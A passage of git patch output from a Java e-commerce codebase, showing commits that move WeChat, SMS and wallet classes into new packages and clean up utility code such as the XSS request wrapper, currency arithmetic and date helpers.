framework/src/main/java/cn/lili/modules/message/serviceimpl/WechatMPMessageServiceImpl.java rename to framework/src/main/java/cn/lili/modules/wechat/serviceimpl/WechatMPMessageServiceImpl.java index ea351055..87fba396 100644 --- a/framework/src/main/java/cn/lili/modules/message/serviceimpl/WechatMPMessageServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/wechat/serviceimpl/WechatMPMessageServiceImpl.java @@ -1,4 +1,4 @@ -package cn.lili.modules.message.serviceimpl; +package cn.lili.modules.wechat.serviceimpl; import cn.hutool.http.HttpUtil; import cn.hutool.json.JSONArray; @@ -8,12 +8,12 @@ import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.enums.ClientTypeEnum; import cn.lili.common.utils.HttpUtils; -import cn.lili.modules.message.entity.dos.WechatMPMessage; -import cn.lili.modules.message.entity.enums.WechatMessageItemEnums; -import cn.lili.modules.message.mapper.WechatMPMessageMapper; -import cn.lili.modules.message.service.WechatMPMessageService; -import cn.lili.modules.message.util.WechatAccessTokenUtil; -import cn.lili.modules.message.util.WechatMessageUtil; +import cn.lili.modules.wechat.entity.dos.WechatMPMessage; +import cn.lili.modules.wechat.entity.enums.WechatMessageItemEnums; +import cn.lili.modules.wechat.mapper.WechatMPMessageMapper; +import cn.lili.modules.wechat.service.WechatMPMessageService; +import cn.lili.modules.wechat.util.WechatAccessTokenUtil; +import cn.lili.modules.wechat.util.WechatMessageUtil; import cn.lili.modules.order.order.entity.enums.OrderStatusEnum; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import lombok.AllArgsConstructor; diff --git a/framework/src/main/java/cn/lili/modules/message/serviceimpl/WechatMessageServiceImpl.java b/framework/src/main/java/cn/lili/modules/wechat/serviceimpl/WechatMessageServiceImpl.java similarity index 94% rename from framework/src/main/java/cn/lili/modules/message/serviceimpl/WechatMessageServiceImpl.java rename to framework/src/main/java/cn/lili/modules/wechat/serviceimpl/WechatMessageServiceImpl.java index f64ce75a..6b00979b 100644 --- a/framework/src/main/java/cn/lili/modules/message/serviceimpl/WechatMessageServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/wechat/serviceimpl/WechatMessageServiceImpl.java @@ -1,4 +1,4 @@ -package cn.lili.modules.message.serviceimpl; +package cn.lili.modules.wechat.serviceimpl; import cn.hutool.http.HttpUtil; import cn.hutool.json.JSONObject; @@ -7,12 +7,12 @@ import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.enums.ClientTypeEnum; import cn.lili.common.utils.HttpUtils; -import cn.lili.modules.message.entity.dos.WechatMessage; -import cn.lili.modules.message.entity.enums.WechatMessageItemEnums; -import cn.lili.modules.message.mapper.WechatMessageMapper; -import cn.lili.modules.message.service.WechatMessageService; -import cn.lili.modules.message.util.WechatAccessTokenUtil; -import cn.lili.modules.message.util.WechatMessageUtil; +import cn.lili.modules.wechat.entity.dos.WechatMessage; +import cn.lili.modules.wechat.entity.enums.WechatMessageItemEnums; +import cn.lili.modules.wechat.mapper.WechatMessageMapper; +import cn.lili.modules.wechat.service.WechatMessageService; +import cn.lili.modules.wechat.util.WechatAccessTokenUtil; +import cn.lili.modules.wechat.util.WechatMessageUtil; import cn.lili.modules.order.order.entity.enums.OrderStatusEnum; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import lombok.AllArgsConstructor; diff --git a/framework/src/main/java/cn/lili/modules/message/util/WechatAccessTokenUtil.java b/framework/src/main/java/cn/lili/modules/wechat/util/WechatAccessTokenUtil.java similarity index 99% rename from framework/src/main/java/cn/lili/modules/message/util/WechatAccessTokenUtil.java rename to framework/src/main/java/cn/lili/modules/wechat/util/WechatAccessTokenUtil.java index fc7411c8..6c0e5c29 100644 --- a/framework/src/main/java/cn/lili/modules/message/util/WechatAccessTokenUtil.java +++ b/framework/src/main/java/cn/lili/modules/wechat/util/WechatAccessTokenUtil.java @@ -1,4 +1,4 @@ -package cn.lili.modules.message.util; +package cn.lili.modules.wechat.util; import cn.hutool.http.HttpUtil; import cn.hutool.json.JSONObject; diff --git a/framework/src/main/java/cn/lili/modules/message/util/WechatMessageData.java b/framework/src/main/java/cn/lili/modules/wechat/util/WechatMessageData.java similarity index 97% rename from framework/src/main/java/cn/lili/modules/message/util/WechatMessageData.java rename to framework/src/main/java/cn/lili/modules/wechat/util/WechatMessageData.java index 8866cb31..e425ab8c 100644 --- a/framework/src/main/java/cn/lili/modules/message/util/WechatMessageData.java +++ b/framework/src/main/java/cn/lili/modules/wechat/util/WechatMessageData.java @@ -1,4 +1,4 @@ -package cn.lili.modules.message.util; +package cn.lili.modules.wechat.util; import cn.hutool.json.JSONUtil; import lombok.Data; diff --git a/framework/src/main/java/cn/lili/modules/message/util/WechatMessageUtil.java b/framework/src/main/java/cn/lili/modules/wechat/util/WechatMessageUtil.java similarity index 96% rename from framework/src/main/java/cn/lili/modules/message/util/WechatMessageUtil.java rename to framework/src/main/java/cn/lili/modules/wechat/util/WechatMessageUtil.java index 43cfba6f..d3ad5fca 100644 --- a/framework/src/main/java/cn/lili/modules/message/util/WechatMessageUtil.java +++ b/framework/src/main/java/cn/lili/modules/wechat/util/WechatMessageUtil.java @@ -1,4 +1,4 @@ -package cn.lili.modules.message.util; +package cn.lili.modules.wechat.util; import cn.hutool.http.HttpUtil; import cn.hutool.json.JSONObject; @@ -12,18 +12,17 @@ import cn.lili.modules.connect.entity.Connect; import cn.lili.modules.connect.entity.enums.ConnectEnum; import cn.lili.modules.connect.service.ConnectService; import cn.lili.modules.member.entity.dto.ConnectQueryDTO; -import cn.lili.modules.message.entity.dos.WechatMPMessage; -import cn.lili.modules.message.entity.dos.WechatMessage; -import cn.lili.modules.message.entity.enums.WechatMessageItemEnums; -import cn.lili.modules.message.service.WechatMPMessageService; -import cn.lili.modules.message.service.WechatMessageService; +import cn.lili.modules.wechat.entity.dos.WechatMPMessage; +import cn.lili.modules.wechat.entity.dos.WechatMessage; +import cn.lili.modules.wechat.entity.enums.WechatMessageItemEnums; +import cn.lili.modules.wechat.service.WechatMPMessageService; +import cn.lili.modules.wechat.service.WechatMessageService; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.OrderItem; import cn.lili.modules.order.order.service.OrderItemService; import cn.lili.modules.order.order.service.OrderService; import cn.lili.common.utils.HttpUtils; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; diff --git a/framework/src/main/java/cn/lili/modules/message/util/WechatMpCodeUtil.java b/framework/src/main/java/cn/lili/modules/wechat/util/WechatMpCodeUtil.java similarity index 99% rename from framework/src/main/java/cn/lili/modules/message/util/WechatMpCodeUtil.java rename to framework/src/main/java/cn/lili/modules/wechat/util/WechatMpCodeUtil.java index ba93afa6..519a6e8e 100644 --- a/framework/src/main/java/cn/lili/modules/message/util/WechatMpCodeUtil.java +++ b/framework/src/main/java/cn/lili/modules/wechat/util/WechatMpCodeUtil.java @@ -1,4 +1,4 @@ -package cn.lili.modules.message.util; +package cn.lili.modules.wechat.util; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; diff --git a/manager-api/src/main/java/cn/lili/controller/setting/SmsManagerController.java b/manager-api/src/main/java/cn/lili/controller/setting/SmsManagerController.java index e466affd..7ce9b545 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/SmsManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/setting/SmsManagerController.java @@ -3,8 +3,8 @@ package cn.lili.controller.setting; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.message.entity.dos.SmsReach; -import cn.lili.modules.message.service.SmsReachService; +import cn.lili.modules.sms.entity.dos.SmsReach; +import cn.lili.modules.sms.service.SmsReachService; import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; diff --git a/manager-api/src/main/java/cn/lili/controller/setting/SmsSignManagerController.java b/manager-api/src/main/java/cn/lili/controller/setting/SmsSignManagerController.java index 9ed17cee..b7bdb8d0 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/SmsSignManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/setting/SmsSignManagerController.java @@ -3,8 +3,8 @@ package cn.lili.controller.setting; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.message.entity.dos.SmsSign; -import cn.lili.modules.message.service.SmsSignService; +import cn.lili.modules.sms.entity.dos.SmsSign; +import cn.lili.modules.sms.service.SmsSignService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiImplicitParam; diff --git a/manager-api/src/main/java/cn/lili/controller/setting/SmsTemplateManagerController.java b/manager-api/src/main/java/cn/lili/controller/setting/SmsTemplateManagerController.java index bd8ae97b..3ff6a416 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/SmsTemplateManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/setting/SmsTemplateManagerController.java @@ -3,8 +3,8 @@ package cn.lili.controller.setting; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.message.entity.dos.SmsTemplate; -import cn.lili.modules.message.service.SmsTemplateService; +import cn.lili.modules.sms.entity.dos.SmsTemplate; +import cn.lili.modules.sms.service.SmsTemplateService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiImplicitParam; diff --git a/manager-api/src/main/java/cn/lili/controller/setting/WechatMPMessageManagerController.java b/manager-api/src/main/java/cn/lili/controller/setting/WechatMPMessageManagerController.java index 366363ac..cdfc2ba8 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/WechatMPMessageManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/setting/WechatMPMessageManagerController.java @@ -5,8 +5,8 @@ import cn.lili.mybatis.util.PageUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.common.vo.SearchVO; -import cn.lili.modules.message.entity.dos.WechatMPMessage; -import cn.lili.modules.message.service.WechatMPMessageService; +import cn.lili.modules.wechat.entity.dos.WechatMPMessage; +import cn.lili.modules.wechat.service.WechatMPMessageService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; diff --git a/manager-api/src/main/java/cn/lili/controller/setting/WechatMessageManageController.java b/manager-api/src/main/java/cn/lili/controller/setting/WechatMessageManageController.java index f2f3634c..e36872e2 100644 --- a/manager-api/src/main/java/cn/lili/controller/setting/WechatMessageManageController.java +++ b/manager-api/src/main/java/cn/lili/controller/setting/WechatMessageManageController.java @@ -4,8 +4,8 @@ import cn.lili.common.enums.ResultUtil; import cn.lili.mybatis.util.PageUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.message.entity.dos.WechatMessage; -import cn.lili.modules.message.service.WechatMessageService; +import cn.lili.modules.wechat.entity.dos.WechatMessage; +import cn.lili.modules.wechat.service.WechatMessageService; import com.baomidou.mybatisplus.core.metadata.IPage; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; diff --git a/manager-api/src/main/java/cn/lili/controller/member/MemberWalletManagerController.java b/manager-api/src/main/java/cn/lili/controller/wallet/MemberWalletManagerController.java similarity index 97% rename from manager-api/src/main/java/cn/lili/controller/member/MemberWalletManagerController.java rename to manager-api/src/main/java/cn/lili/controller/wallet/MemberWalletManagerController.java index 8fc89b45..927c8816 100644 --- a/manager-api/src/main/java/cn/lili/controller/member/MemberWalletManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/wallet/MemberWalletManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.member; +package cn.lili.controller.wallet; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.ResultMessage; diff --git a/manager-api/src/main/java/cn/lili/controller/member/MemberWithdrawApplyManagerController.java b/manager-api/src/main/java/cn/lili/controller/wallet/MemberWithdrawApplyManagerController.java similarity index 98% rename from manager-api/src/main/java/cn/lili/controller/member/MemberWithdrawApplyManagerController.java rename to manager-api/src/main/java/cn/lili/controller/wallet/MemberWithdrawApplyManagerController.java index 7b372446..b4d5ab42 100644 --- a/manager-api/src/main/java/cn/lili/controller/member/MemberWithdrawApplyManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/wallet/MemberWithdrawApplyManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.member; +package cn.lili.controller.wallet; import cn.lili.common.enums.ResultUtil; diff --git a/manager-api/src/main/java/cn/lili/controller/order/RechargeManagerController.java b/manager-api/src/main/java/cn/lili/controller/wallet/RechargeManagerController.java similarity index 97% rename from manager-api/src/main/java/cn/lili/controller/order/RechargeManagerController.java rename to manager-api/src/main/java/cn/lili/controller/wallet/RechargeManagerController.java index 282468b4..ce284937 100644 --- a/manager-api/src/main/java/cn/lili/controller/order/RechargeManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/wallet/RechargeManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.order; +package cn.lili.controller.wallet; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; diff --git a/manager-api/src/main/java/cn/lili/controller/order/WalletLogManagerController.java b/manager-api/src/main/java/cn/lili/controller/wallet/WalletLogManagerController.java similarity index 97% rename from manager-api/src/main/java/cn/lili/controller/order/WalletLogManagerController.java rename to manager-api/src/main/java/cn/lili/controller/wallet/WalletLogManagerController.java index dcac39a5..0fa6776c 100644 --- a/manager-api/src/main/java/cn/lili/controller/order/WalletLogManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/wallet/WalletLogManagerController.java @@ -1,4 +1,4 @@ -package cn.lili.controller.order; +package cn.lili.controller.wallet; import cn.lili.common.enums.ResultUtil; import cn.lili.common.vo.PageVO; From 7b98d1d9d08068211fec2bd1a6ed7ec7c7137949 Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 7 Dec 2021 04:33:51 +0800 Subject: [PATCH 047/145] =?UTF-8?q?=E5=87=A0=E4=B8=AA=E4=BB=A3=E7=A0=81?= =?UTF-8?q?=E7=BC=96=E8=AF=91=E9=97=AE=E9=A2=98=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../controller/common/FileController.java | 4 +- .../filter/XssHttpServletRequestWrapper.java | 141 ++++++++++-------- .../utils/Base64DecodeMultipartFile.java | 13 +- .../java/cn/lili/common/utils/BeanUtil.java | 11 +- .../cn/lili/common/utils/CurrencyUtil.java | 37 ++--- .../java/cn/lili/common/utils/DateUtil.java | 4 +- .../modules/goods/util/WechatMediaUtil.java | 3 +- 7 files changed, 110 insertions(+), 103 deletions(-) diff --git a/common-api/src/main/java/cn/lili/controller/common/FileController.java b/common-api/src/main/java/cn/lili/controller/common/FileController.java index 84df93ff..710bb287 100644 --- a/common-api/src/main/java/cn/lili/controller/common/FileController.java +++ b/common-api/src/main/java/cn/lili/controller/common/FileController.java @@ -78,9 +78,7 @@ public class FileController { } throw new ServiceException(ResultCode.USER_AUTHORITY_ERROR); case MANAGER: - if (file.getUserEnums().equals(authUser.getRole().name())) { - break; - } + break; default: throw new ServiceException(ResultCode.USER_AUTHORITY_ERROR); } diff --git a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java index f542397a..928436f3 100644 --- a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java +++ b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java @@ -4,6 +4,7 @@ package cn.lili.common.security.filter; import cn.hutool.core.text.CharSequenceUtil; import cn.hutool.http.HtmlUtil; import cn.hutool.json.JSONUtil; +import lombok.extern.slf4j.Slf4j; import org.owasp.html.Sanitizers; import javax.servlet.ReadListener; @@ -27,6 +28,7 @@ import java.util.Map; * @version v1.0 * 2021-06-04 10:39 */ +@Slf4j public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { @@ -141,45 +143,72 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { */ @Override public ServletInputStream getInputStream() throws IOException { - //获取输入流 - ServletInputStream in = super.getInputStream(); - //用于存储输入流 - StringBuilder body = new StringBuilder(); - InputStreamReader reader = new InputStreamReader(in, StandardCharsets.UTF_8); - BufferedReader bufferedReader = new BufferedReader(reader); - //按行读取输入流 - String line = bufferedReader.readLine(); - while (line != null) { - //将获取到的第一行数据append到StringBuffer中 - body.append(line); - //继续读取下一行流,直到line为空 - line = bufferedReader.readLine(); - } - //关闭流 - bufferedReader.close(); - reader.close(); - in.close(); - if (CharSequenceUtil.isNotEmpty(body) && Boolean.TRUE.equals(JSONUtil.isJsonObj(body.toString()))) { - //将body转换为map - Map map = JSONUtil.parseObj(body.toString()); - //创建空的map用于存储结果 - Map resultMap = new HashMap<>(map.size()); - //遍历数组 - for (Map.Entry entry : map.entrySet()) { - //如果map.get(key)获取到的是字符串就需要进行处理,如果不是直接存储resultMap - if (map.get(entry.getKey()) instanceof String) { - resultMap.put(entry.getKey(), filterXss(entry.getKey(), entry.getValue().toString())); - } else { - resultMap.put(entry.getKey(), entry.getValue()); + BufferedReader bufferedReader = null; + + InputStreamReader reader = null; + + //获取输入流 + ServletInputStream in = null; + try { + in = super.getInputStream(); + //用于存储输入流 + StringBuilder body = new StringBuilder(); + reader = new InputStreamReader(in, StandardCharsets.UTF_8); + bufferedReader = new BufferedReader(reader); + //按行读取输入流 + String line = bufferedReader.readLine(); + while (line != null) { + //将获取到的第一行数据append到StringBuffer中 + body.append(line); + //继续读取下一行流,直到line为空 + line = bufferedReader.readLine(); + } + if (CharSequenceUtil.isNotEmpty(body) && Boolean.TRUE.equals(JSONUtil.isJsonObj(body.toString()))) { + //将body转换为map + Map map = JSONUtil.parseObj(body.toString()); + //创建空的map用于存储结果 + Map resultMap = new HashMap<>(map.size()); + //遍历数组 + for (Map.Entry entry : map.entrySet()) { + //如果map.get(key)获取到的是字符串就需要进行处理,如果不是直接存储resultMap + if (map.get(entry.getKey()) instanceof String) { + resultMap.put(entry.getKey(), filterXss(entry.getKey(), entry.getValue().toString())); + } else { + resultMap.put(entry.getKey(), entry.getValue()); + } } + + //将resultMap转换为json字符串 + String resultStr = JSONUtil.toJsonStr(resultMap); + //将json字符串转换为字节 + final ByteArrayInputStream resultBIS = new ByteArrayInputStream(resultStr.getBytes()); + + //实现接口 + return new ServletInputStream() { + @Override + public boolean isFinished() { + return false; + } + + @Override + public boolean isReady() { + return false; + } + + @Override + public void setReadListener(ReadListener readListener) { + } + + @Override + public int read() { + return resultBIS.read(); + } + }; } - //将resultMap转换为json字符串 - String resultStr = JSONUtil.toJsonStr(resultMap); //将json字符串转换为字节 - final ByteArrayInputStream resultBIS = new ByteArrayInputStream(resultStr.getBytes()); - + final ByteArrayInputStream bis = new ByteArrayInputStream(body.toString().getBytes()); //实现接口 return new ServletInputStream() { @Override @@ -194,41 +223,31 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { @Override public void setReadListener(ReadListener readListener) { + } @Override public int read() { - return resultBIS.read(); + return bis.read(); } }; + } catch (Exception e) { + + log.error("get request inputStream error", e); + return null; + } finally { + //关闭流 + if (bufferedReader != null) { + bufferedReader.close(); + } + if (reader != null) { + reader.close(); + } + if (in != null) { + in.close(); + } } - //将json字符串转换为字节 - final ByteArrayInputStream bis = new ByteArrayInputStream(body.toString().getBytes()); - - //实现接口 - return new ServletInputStream() { - @Override - public boolean isFinished() { - return false; - } - - @Override - public boolean isReady() { - return false; - } - - @Override - public void setReadListener(ReadListener readListener) { - - } - - @Override - public int read() { - return bis.read(); - } - }; - } private String cleanXSS(String value) { diff --git a/framework/src/main/java/cn/lili/common/utils/Base64DecodeMultipartFile.java b/framework/src/main/java/cn/lili/common/utils/Base64DecodeMultipartFile.java index b05d5662..95a67ced 100644 --- a/framework/src/main/java/cn/lili/common/utils/Base64DecodeMultipartFile.java +++ b/framework/src/main/java/cn/lili/common/utils/Base64DecodeMultipartFile.java @@ -55,7 +55,7 @@ public class Base64DecodeMultipartFile implements MultipartFile { } @Override - public InputStream getInputStream() throws IOException { + public InputStream getInputStream() { return new ByteArrayInputStream(imgContent); } @@ -66,8 +66,9 @@ public class Base64DecodeMultipartFile implements MultipartFile { stream = new FileOutputStream(dest); stream.write(imgContent); } catch (IOException e) { - log.error("transferTo错误",e); - }finally { + log.error("transferTo错误", e); + } finally { + assert stream != null; stream.close(); } } @@ -94,7 +95,7 @@ public class Base64DecodeMultipartFile implements MultipartFile { byte[] bytes = Base64.getDecoder().decode(base64); stream = new ByteArrayInputStream(bytes); } catch (Exception e) { - log.error("base64ToInputStream错误",e); + log.error("base64ToInputStream错误", e); } return stream; } @@ -111,13 +112,13 @@ public class Base64DecodeMultipartFile implements MultipartFile { } data = swapStream.toByteArray(); } catch (IOException e) { - log.error("转码错误",e); + log.error("转码错误", e); } finally { if (in != null) { try { in.close(); } catch (IOException e) { - log.error("inputStreamToStream错误",e); + log.error("inputStreamToStream错误", e); } } } diff --git a/framework/src/main/java/cn/lili/common/utils/BeanUtil.java b/framework/src/main/java/cn/lili/common/utils/BeanUtil.java index 55eda005..a5e66e54 100644 --- a/framework/src/main/java/cn/lili/common/utils/BeanUtil.java +++ b/framework/src/main/java/cn/lili/common/utils/BeanUtil.java @@ -16,7 +16,7 @@ public class BeanUtil { * 复制属性 * * @param objectFrom 源自对象 - * @param objectTo 复制给对象 + * @param objectTo 复制给对象 */ public static void copyProperties(Object objectFrom, Object objectTo) { BeanUtils.copyProperties(objectFrom, objectTo); @@ -25,6 +25,7 @@ public class BeanUtil { /** * 获取属性名数组 + * * @param o 获取字段的对象 * @return 返回各个字段 */ @@ -49,8 +50,9 @@ public class BeanUtil { /** * 根据属性名获取属性值 + * * @param fieldName 属性名 - * @param o 对象 + * @param o 对象 * @return 属性值 */ public static Object getFieldValueByName(String fieldName, Object o) { @@ -69,6 +71,7 @@ public class BeanUtil { /** * 将对象转换为key value * A=a&B=b&C=c 格式 + * * @param object 对象 * @return 格式化结果 */ @@ -87,6 +90,7 @@ public class BeanUtil { String key = fieldNames[j]; //获取值 Object value = BeanUtil.getFieldValueByName(key, object); + assert value != null; stringBuffer.append(key).append("=").append(value.toString()); } return stringBuffer.toString(); @@ -95,8 +99,9 @@ public class BeanUtil { /** * key value键值对 转换为 对象 * A=a&B=b&C=c 格式 转换为对象 + * * @param str 对象字符串 - * @param t 范型 + * @param t 范型 * @param 范型 * @return 格式化结果 */ diff --git a/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java b/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java index e0d9ec1a..7e77edcb 100644 --- a/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java +++ b/framework/src/main/java/cn/lili/common/utils/CurrencyUtil.java @@ -29,8 +29,8 @@ public final class CurrencyUtil { * @return 两个参数的和 */ public static Double add(double v1, double v2) { - BigDecimal b1 = new BigDecimal(v1); - BigDecimal b2 = new BigDecimal(v2); + BigDecimal b1 = BigDecimal.valueOf(v1); + BigDecimal b2 = BigDecimal.valueOf(v2); return b1.add(b2).setScale(2, RoundingMode.HALF_UP).doubleValue(); } @@ -42,8 +42,8 @@ public final class CurrencyUtil { * @return 两个参数的差 */ public static double sub(double v1, double v2) { - BigDecimal b1 = new BigDecimal(v1); - BigDecimal b2 = new BigDecimal(v2); + BigDecimal b1 = BigDecimal.valueOf(v1); + BigDecimal b2 = BigDecimal.valueOf(v2); return b1.subtract(b2).setScale(2, RoundingMode.HALF_UP).doubleValue(); } @@ -55,8 +55,8 @@ public final class CurrencyUtil { * @return 两个参数的积 */ public static Double mul(double v1, double v2) { - BigDecimal b1 = new BigDecimal(v1); - BigDecimal b2 = new BigDecimal(v2); + BigDecimal b1 = BigDecimal.valueOf(v1); + BigDecimal b2 = BigDecimal.valueOf(v2); return b1.multiply(b2).setScale(2, RoundingMode.HALF_UP).doubleValue(); } @@ -73,8 +73,8 @@ public final class CurrencyUtil { throw new IllegalArgumentException( "The scale must be a positive integer or zero"); } - BigDecimal b1 = new BigDecimal(v1); - BigDecimal b2 = new BigDecimal(v2); + BigDecimal b1 = BigDecimal.valueOf(v1); + BigDecimal b2 = BigDecimal.valueOf(v2); return b1.multiply(b2).setScale(scale, RoundingMode.HALF_UP).doubleValue(); } @@ -106,28 +106,11 @@ public final class CurrencyUtil { if (v2 == 0) { return 0; } - BigDecimal b1 = new BigDecimal(v1); - BigDecimal b2 = new BigDecimal(v2); + BigDecimal b1 = BigDecimal.valueOf(v1); + BigDecimal b2 = BigDecimal.valueOf(v2); return b1.divide(b2, scale, RoundingMode.HALF_UP).doubleValue(); } - /** - * 提供精确的小数位四舍五入处理。 - * - * @param v 需要四舍五入的数字 - * @param scale 小数点后保留几位 - * @return 四舍五入后的结果 - */ - public static double round(double v, int scale) { - if (scale < 0) { - throw new IllegalArgumentException( - "The scale must be a positive integer or zero"); - } - BigDecimal b = new BigDecimal(v); - BigDecimal one = new BigDecimal("1"); - return b.divide(one, scale, RoundingMode.HALF_UP).doubleValue(); - } - /** * 金额转分 * diff --git a/framework/src/main/java/cn/lili/common/utils/DateUtil.java b/framework/src/main/java/cn/lili/common/utils/DateUtil.java index 306cc0cd..b07f0bde 100644 --- a/framework/src/main/java/cn/lili/common/utils/DateUtil.java +++ b/framework/src/main/java/cn/lili/common/utils/DateUtil.java @@ -273,7 +273,7 @@ public class DateUtil { * @return 时间戳 */ public static long getDateline(String date) { - return toDate(date, STANDARD_DATE_FORMAT).getTime() / 1000; + return Objects.requireNonNull(toDate(date, STANDARD_DATE_FORMAT)).getTime() / 1000; } /** @@ -311,7 +311,7 @@ public class DateUtil { * @return 时间戳 */ public static long getDateline(String date, String pattern) { - return toDate(date, pattern).getTime() / 1000; + return Objects.requireNonNull(toDate(date, pattern)).getTime() / 1000; } /** diff --git a/framework/src/main/java/cn/lili/modules/goods/util/WechatMediaUtil.java b/framework/src/main/java/cn/lili/modules/goods/util/WechatMediaUtil.java index f5f16fca..d94dcdfe 100644 --- a/framework/src/main/java/cn/lili/modules/goods/util/WechatMediaUtil.java +++ b/framework/src/main/java/cn/lili/modules/goods/util/WechatMediaUtil.java @@ -105,8 +105,9 @@ public class WechatMediaUtil { } catch (Exception e) { log.error("微信媒体上传失败", e); } + assert resultStr != null; JSONObject jsonObject = new JSONObject(resultStr.toString()); - log.info("微信媒体上传:" + jsonObject.toString()); + log.info("微信媒体上传:" + jsonObject); //判断是否传递成功,如果token过期则重新获取 if (jsonObject.get("errcode") != null && ("40001").equals(jsonObject.get("errcode"))) { wechatAccessTokenUtil.removeAccessToken(ClientTypeEnum.WECHAT_MP); From 8616854e008643e636739f029ac04987cca69680 Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 7 Dec 2021 05:47:17 +0800 Subject: [PATCH 048/145] =?UTF-8?q?=E6=B6=88=E6=81=AF=E6=A8=A1=E5=9D=97?= =?UTF-8?q?=EF=BC=8C=E4=BC=9A=E5=91=98=E6=A8=A1=E5=9D=97=EF=BC=8C=E5=BE=AE?= =?UTF-8?q?=E4=BF=A1=E6=A8=A1=E5=9D=97=E7=8B=AC=E7=AB=8B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/controller/passport/MemberBuyerController.java | 2 +- .../main/java/cn/lili/controller/common/SmsController.java | 2 +- .../java/cn/lili/listener/NoticeSendMessageListener.java | 2 +- .../java/cn/lili/modules/{system => }/sms/AliSmsUtil.java | 2 +- .../main/java/cn/lili/modules/{system => }/sms/SmsUtil.java | 2 +- .../{system => }/sms/impl/SmsUtilAliImplService.java | 6 +++--- .../cn/lili/modules/sms/serviceimpl/SmsSignServiceImpl.java | 2 +- .../modules/sms/serviceimpl/SmsTemplateServiceImpl.java | 2 +- .../ServiceNoticeManagerController.java | 2 +- .../controller/{setting => sms}/SmsManagerController.java | 2 +- .../{setting => sms}/SmsSignManagerController.java | 2 +- .../{setting => sms}/SmsTemplateManagerController.java | 2 +- .../WechatMPMessageManagerController.java | 2 +- .../{setting => wechat}/WechatMessageManageController.java | 2 +- 14 files changed, 16 insertions(+), 16 deletions(-) rename framework/src/main/java/cn/lili/modules/{system => }/sms/AliSmsUtil.java (98%) rename framework/src/main/java/cn/lili/modules/{system => }/sms/SmsUtil.java (97%) rename framework/src/main/java/cn/lili/modules/{system => }/sms/impl/SmsUtilAliImplService.java (99%) rename manager-api/src/main/java/cn/lili/controller/{setting => message}/ServiceNoticeManagerController.java (98%) rename manager-api/src/main/java/cn/lili/controller/{setting => sms}/SmsManagerController.java (97%) rename manager-api/src/main/java/cn/lili/controller/{setting => sms}/SmsSignManagerController.java (98%) rename manager-api/src/main/java/cn/lili/controller/{setting => sms}/SmsTemplateManagerController.java (98%) rename manager-api/src/main/java/cn/lili/controller/{setting => wechat}/WechatMPMessageManagerController.java (98%) rename manager-api/src/main/java/cn/lili/controller/{setting => wechat}/WechatMessageManageController.java (98%) diff --git a/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java b/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java index b1c297ef..7f3b3789 100644 --- a/buyer-api/src/main/java/cn/lili/controller/passport/MemberBuyerController.java +++ 